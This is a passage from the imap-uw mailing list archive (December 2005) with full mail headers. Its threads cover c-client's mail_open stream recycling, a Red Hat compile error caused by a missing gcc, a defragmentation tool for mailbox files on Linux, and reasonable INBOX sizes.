    ------=_NextPart_000_03DD_01C6054F.AEF98060-- --===============0362694906== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============0362694906==-- From pinedev@shivax2.cac.washington.edu Tue Dec 20 08:27:53 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Dec 2005 08:27:53 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKGRrm6006988 for ; Tue, 20 Dec 2005 08:27:53 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKGRq7x009292 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 20 Dec 2005 08:27:52 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKGRmvL023347 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 20 Dec 2005 08:27:48 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKGRm94011673; Tue, 20 Dec 2005 08:27:48 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKGRkPm011661 for ; Tue, 20 Dec 2005 08:27:46 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKGRkEK027221 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 20 Dec 2005 08:27:46 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKGRji7023335 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 20 Dec 2005 08:27:45 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKGRT89024158 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 20 Dec 2005 08:27:45 -0800 Date: Tue, 20 Dec 2005 08:27:29 -0800 (PST) From: Mark Crispin To: Guillaume Vaillant Subject: Re: [Imap-uw] pb with mail_open function In-Reply-To: <200512200925.jBK9PU6E021432@mxout4.cac.washington.edu> Message-ID: References: <200512200925.jBK9PU6E021432@mxout4.cac.washington.edu> MIME-Version: 1.0 Content-Type: TEXT/Plain; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu A call mail_open() with an open MAILSTREAM as the first argument is a "recycle" call. If the new mailbox name (second argument) indicates the same site as the mailbox open in the MAILSTREAM, that stream switches to the new mailbox without closing the session or logging out. Thus, the client can switch from one mailbox to another on the same server without having to log in again. In the IMAP protocol, this is a SELECT command. If the new mailbox name indicates a different server than what is open on the mailstream, a recycle call will close the MAILSTREAM, and then open a new session and log in again. The entire purpose of the recycle call is to avoid closing the session and logging in again when switching mailboxes at the server. If you want to force a login each time, you must close the old stream with mail_close(), then call mail_open() with NIL as the first argument. On Tue, 20 Dec 2005, Guillaume Vaillant wrote: > I have a problem with a program i have done. This program is linked with the > c-client.a library. > The program performs a first mail_open request which works fine (the > mm_login callback is called and I set here the login and password) > And then it performs a second mail_open with the same STREAMS. In the > documentation I have seen that's it's authorized and that the IMAP library > will automatically close the first STREAMS. > But in this case the mm_login callback is not called ans this second > connection was done with the login and password of the first connection. > Is it normal ? > How can i change the login and password for the second connection ? -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Dec 20 13:33:37 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Dec 2005 13:33:36 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKLXad0024888 for ; Tue, 20 Dec 2005 13:33:36 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKLXZUx000483 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 20 Dec 2005 13:33:35 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKLXV86007479 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 20 Dec 2005 13:33:31 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKLXVMQ029535; Tue, 20 Dec 2005 13:33:31 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKLXUeh029516 for ; Tue, 20 Dec 2005 13:33:30 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKLXUJ1023136 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 20 Dec 2005 13:33:30 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKLXTos028516 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 20 Dec 2005 13:33:29 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKLXTFs029782 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 20 Dec 2005 13:33:29 -0800 Date: Tue, 20 Dec 2005 13:33:32 -0800 (Pacific Standard Time) From: Mark Crispin To: alex.nishri@utoronto.ca Subject: Re: [Imap-uw] Re: Mail file fragmentation on Linux In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 16 Dec 2005, alex.nishri@utoronto.ca wrote: > Perhaps the solution lies in having the operating system automatically > defragment files (as Apple MacOS X does with files under 10MB.) Hi Alex - Thank you for the information. Over the years, I have watched the discussions on fragmentation from the sidelines, and in particular the question of whether fragmentation is actually harmful on ext2/ext3 filesystems. There's been more heat than light in those discussions, so I'm glad to see some factual information. The cause of the fragmentation is not the overwrite-on-expunge behavior of the drivers in c-client (the library used by UW imapd to access mailbox files), but rather that new messages are appended. There is no good way to prevent fragmentation in a flat file format (either traditional UNIX or mbx format) because the new mail append is when the fragmentation occurs. The assumption made by filesystems is that software will periodically replace the file with a new copy; and that if fragmentation is avoided when writing new files this will suffice to cure any excessive fragmentation problems. This assumption is false when c-client is used, since it never writes a new copy of the mailbox; it always updates in place. Normally, updating in place is much better (far fewer writes and no additional disk space consumed), but it doesn't cure the fragmentation and the filesystem was depending upon it to do so. I don't think that it would be a good idea for c-client to attempt to defragment. It is a time-consuming process, and an unsafe one. But I would consider building a manual defragmentation tool which would be as close to safe with c-client programs (imapd, ipop3d, Pine, etc.) as possible if the community considers it to be worthwhile. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Dec 20 13:59:43 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Dec 2005 13:59:43 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKLxhh8026295 for ; Tue, 20 Dec 2005 13:59:43 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKLxgUJ011862 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 20 Dec 2005 13:59:42 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKLxch7014151 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 20 Dec 2005 13:59:39 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKLxcgL001397; Tue, 20 Dec 2005 13:59:38 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKLxb3N001388 for ; Tue, 20 Dec 2005 13:59:37 -0800 Received: from serrano.cc.columbia.edu (serrano.cc.columbia.edu [128.59.29.6]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBKLxZ2S000706 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 20 Dec 2005 13:59:36 -0800 Received: from [160.39.242.168] (dyn-160-39-242-168.dyn.columbia.edu [160.39.242.168]) (user=selsky mech=PLAIN bits=0) by serrano.cc.columbia.edu (8.13.0/8.13.0) with ESMTP id jBKLxYB2004960 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT); Tue, 20 Dec 2005 16:59:34 -0500 (EST) In-Reply-To: <5.2.1.1.0.20051219184624.01125d48@www.duhe.com> References: <5.2.1.1.0.20051219184624.01125d48@www.duhe.com> Mime-Version: 1.0 (Apple Message framework v623) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <3a4cf08ed60fa0b300ad14fb610b7ba2@columbia.edu> Content-Transfer-Encoding: 7bit From: Matt Selsky Subject: Re: [Imap-uw] Compile Error on Red Hat Date: Tue, 20 Dec 2005 16:59:42 -0500 To: "Edward Duhe'" X-Mailer: Apple Mail (2.623) X-No-Spam-Score: Local X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On my RHEL4 system: $ rpm -q gcc gcc-3.4.4-2 The libgcc RPM just gives the gcc shared libraries. The gcc RPM supplies the compiler (gcc, cc) itself. -- Matt On Dec 19, 2005, at 7:46 PM, Edward Duhe' wrote: > Thanks Matt, > > When I check the rpms installed I so have libgcc-3.2.3-49 listed so I > assume that it is installed. Is there something else that I need? > > Thanks, > Edward > > At 04:23 PM 12/16/2005 -0500, Matt Selsky wrote: >> Do you have the gcc RPMs installed? >> >> >> -- >> Matt >> >> On Fri, Dec 16, 2005 at 02:50:25PM -0600, Edward Duhe' wrote: >> > I am trying to compile the imap-2004g on a red hat installation. I >> am >> > getting the errors below and cannot get any further. Anyone have >> any ideas >> > what might be wrong? >> > >> > Thanks, >> > Edward >> > >> > ... >> > Standard password authentication >> > ln -s ckp_psx.c osdepckp.c >> > Building with SSL >> > ln -s ssl_unix.c osdepssl.c >> > echo -I/usr/local/ssl/include -I/usr/local/ssl/include/openssl >> > -DSSL_CERT_DIRECTORY=\"/usr/local/ssl/certs\" >> > -DSSL_KEY_DIRECTORY=\"/usr/local/ssl/certs\" >> OSCFLAGS >> > echo " ssl_onceonlyinit ();" >> linkage.c >> > echo -L/usr/local/ssl/lib -lssl -lcrypto >> LDFLAGS >> > Building with SSL and plaintext passwords disabled unless SSL/TLS >> > echo " mail_parameters (NIL,SET_DISABLEPLAINTEXT,(void *) 2);" >> >> linkage.c >> > cat osdepbas.c osdepckp.c osdeplog.c osdepssl.c > osdep.c >> > Building OS-dependent module >> > If you get No such file error messages for files x509.h, ssl.h, >> > pem.h, buffer.h, bio.h, and crypto.h, that means that OpenSSL >> > is not installed on your system. Either install OpenSSL first >> > or build with command: make slx SSLTYPE=none >> > `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` -c osdep.c >> > /bin/sh: line 1: cc: command not found >> > make[3]: *** [osdep.o] Error 127 >> > make[3]: Leaving directory `/root/imap-2004g/c-client' >> > make[2]: *** [slx] Error 2 >> > make[2]: Leaving directory `/root/imap-2004g/c-client' >> > make[1]: *** [OSTYPE] Error 2 >> > make[1]: Leaving directory `/root/imap-2004g' >> > make: *** [slx] Error 2 >> > >> > >> > >> > >> > _______________________________________________ >> > Imap-uw mailing list >> > Imap-uw@u.washington.edu >> > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Dec 20 17:31:12 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Dec 2005 17:31:12 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBL1VCCv005181 for ; Tue, 20 Dec 2005 17:31:12 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBL1VBhN017919 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 20 Dec 2005 17:31:11 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBL1V7pS017038 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 20 Dec 2005 17:31:07 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBL1V7Tt028051; Tue, 20 Dec 2005 17:31:07 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBL1V5Pp028043 for ; Tue, 20 Dec 2005 17:31:05 -0800 Received: from rs27.luxsci.com (rs27.luxsci.com [66.216.127.24]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBL1V4MD004412 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 20 Dec 2005 17:31:05 -0800 Received: from [192.168.1.2] (c-24-34-205-122.hsd1.ma.comcast.net [24.34.205.122]) (authenticated bits=0) by rs27.luxsci.com (8.13.5/8.13.5) with ESMTP id jBL1V2AM012283 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 20 Dec 2005 19:31:02 -0600 Message-ID: <43A8B056.9060601@luxsci.com> Date: Tue, 20 Dec 2005 20:31:02 -0500 From: Erik Kangas User-Agent: Mozilla Thunderbird 1.0.5 (Windows/20050711) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] Re: Mail file fragmentation on Linux References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Mark Crispin wrote: > > I don't think that it would be a good idea for c-client to attempt to > defragment. It is a time-consuming process, and an unsafe one. But I > would consider building a manual defragmentation tool which would be > as close to safe with c-client programs (imapd, ipop3d, Pine, etc.) as > possible if the community considers it to be worthwhile. I would vote for this and I would use this. In particular, I would imagine a periodic process that * See if there is contiguous space available to defragmentation on the system (and how big?) * finds "large" folders (especially INBOXES) * Sees if they are fragmented * If they are "sufficiently fragmented", defragment This would help performance somewhat for people to keep large inboxes -- until they can be taught the pleasures of small inboxes. So, if such a tool was to be developed, I would love it if, in addition to actually defragmenting a mbx-formatted folder, it could: * Tell how how fragmented the folder file is in the first place * Tell you about contiguous space available for defragmenting so that the controlling script could decide if it makes sense to bother defragmenting the folder. Best, -Erik Kangas LuxSci.com _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Dec 20 17:47:21 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Dec 2005 17:47:21 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBL1lLOw005720 for ; Tue, 20 Dec 2005 17:47:21 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBL1lKrW027175 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 20 Dec 2005 17:47:20 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBL1lGZl010819 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 20 Dec 2005 17:47:17 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBL1lGLY029758; Tue, 20 Dec 2005 17:47:16 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBL1lGdx029750 for ; Tue, 20 Dec 2005 17:47:16 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBL1lFZA027758 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 20 Dec 2005 17:47:15 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBL1lFI0019256 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 20 Dec 2005 17:47:15 -0800 X-Auth-Received: from Shimo-Tomobiki.panda.com (D-128-95-135-163.dhcp4.washington.edu [128.95.135.163]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBL1lEJe030144 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 20 Dec 2005 17:47:15 -0800 Date: Tue, 20 Dec 2005 17:47:11 -0800 From: Mark Crispin To: Erik Kangas Subject: Re: [Imap-uw] Re: Mail file fragmentation on Linux In-Reply-To: <43A8B056.9060601@luxsci.com> Message-ID: References: <43A8B056.9060601@luxsci.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 20 Dec 2005, Erik Kangas wrote: >> I >> would consider building a manual defragmentation tool which would be >> as close to safe with c-client programs (imapd, ipop3d, Pine, etc.) as >> possible if the community considers it to be worthwhile. > I would vote for this and I would use this. I have built a single file defragmentation tool on: ftp://ftp.cac.washington.edu/mail/powertools/defrag.c This program was written for Linux, and may need modification on other operating systems. It takes a single argument, the file name of a file to defragment, and will defragment it as best as the filesystem will allow. It will decline to act on any file that is currently open and locked. It does this by opening, exclusive-locking, copying the file to a temp file, truncating the file to zero bytes, then copying it back. This has the benefit of preserving the inode number in case anything cares. There is a known failure case which will cause problems for the user and require manual remedy. If, after starting the copy-back, an I/O error occurs, the program will stop and report an error. However, it will not delete the temp file in this case. There are other failure cases which will also stop and report an error, but no change was made to the original file Note that although the atime and mtime are preserved, it is not possible to prevent the ctime from being changed. This will cause the file to be flagged as \Marked in IMAP lists. I can't do anything about this, sorry. As for the more ambitious program that you outlined, that's dependent upon the underlying filesystem and is more research than I care to undertake. All I tried to do is to build a program that will safely (or rather, as safely as possible) defragment a file on a live system without risking possible loss of mail. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Dec 21 11:34:38 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Dec 2005 11:34:38 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLJYcce031619 for ; Wed, 21 Dec 2005 11:34:38 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLJYbit027487 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Dec 2005 11:34:37 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLJYXaw016112 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 21 Dec 2005 11:34:34 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLJYXKu027438; Wed, 21 Dec 2005 11:34:33 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLJYWIF027422 for ; Wed, 21 Dec 2005 11:34:32 -0800 Received: from pat.cryst.bbk.ac.uk (pat-ext.cryst.bbk.ac.uk [193.61.32.113]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLJYSeH002297 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Dec 2005 11:34:29 -0800 Received: from katchoo.cryst.bbk.ac.uk (katchoo.cryst.bbk.ac.uk [193.61.35.179]) by pat.cryst.bbk.ac.uk (8.12.8/8.12.8) with ESMTP id jBLJY5YU016025 for ; Wed, 21 Dec 2005 19:34:06 GMT Date: Wed, 21 Dec 2005 19:34:05 +0000 (GMT Standard Time) From: Richard Westlake To: imap-uw@u.washington.edu In-Reply-To: <43A8B056.9060601@luxsci.com> Message-ID: References: <43A8B056.9060601@luxsci.com> X-X-Sender: richards@pat-new.cryst.bbk.ac.uk MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-cryst-bbk-ac-uk-MailScanner-Information: Please contact CCSG more information (http://www.cryst.bbk.ac.uk/CCSG/) X-cryst-bbk-ac-uk-MailScanner: Found to be clean X-cryst-bbk-ac-uk-MailScanner-SpamCheck: not spam, SpamAssassin (score=-4.9, required 9, autolearn=not spam, BAYES_00 -4.90) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] INBOX size [was Mail file fragmentation on Linux] X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 20 Dec 2005, Erik Kangas wrote: > > I would vote for this and I would use this. In particular, I would > imagine a periodic process that > > * See if there is contiguous space available to defragmentation on the > system (and how big?) > * finds "large" folders (especially INBOXES) > * Sees if they are fragmented > * If they are "sufficiently fragmented", defragment > > This would help performance somewhat for people to keep large inboxes -- > until they can be taught the pleasures of small inboxes. I would be interest in what people consider being a reasonable maximum INBOX size and if there is any online resources covering the problems caused by large INBOX. Most of the accounts on our email serve have an INBOX smaller then 150Mbyte, the rest are smaller then 500Mbyte, which is an improvement as we did have, files larger then 1Gbyte. The Apple email client seems to be a particular antisocial with a large INBOX. We used to be able to tell when one particular Apple user had arrived, because the mail server would be unusable while their client connected and scanned for new mail. I would be curious if Erik Kangas or anyone else has any suggestions on how to educate senior staff on the "pleasures of small inboxes" Richard Westlake School of Crystallography, Birkbeck College, Malet Street, London WC1E 7HX Tel: 020-7631-6859 ---------------------------------------------------------------------- Truth endures but spelling changes -- Anon. ---------------------------------------------------------------------- _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Dec 21 12:02:20 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Dec 2005 12:02:20 -0800 (PST) Return-Path: Received: from 